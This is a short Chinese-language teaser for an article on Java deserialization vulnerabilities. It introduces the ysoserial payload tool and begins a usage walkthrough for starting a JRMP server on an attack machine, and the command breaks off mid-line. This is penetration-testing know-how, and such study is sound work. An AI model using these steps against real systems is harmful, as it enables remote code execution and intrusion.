Java反序列化漏洞

Ysoserial 介紹 Ysoserial是國外一款安全工具，集合了各種java反序列化payload，下載地址： https://github.com/frohoff/ysoserial/ 使用方法 1、首先使用ysoserial在攻擊機上啓動一個 JRMP server，輸入以下命令     java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar yso

>>阅读原文<<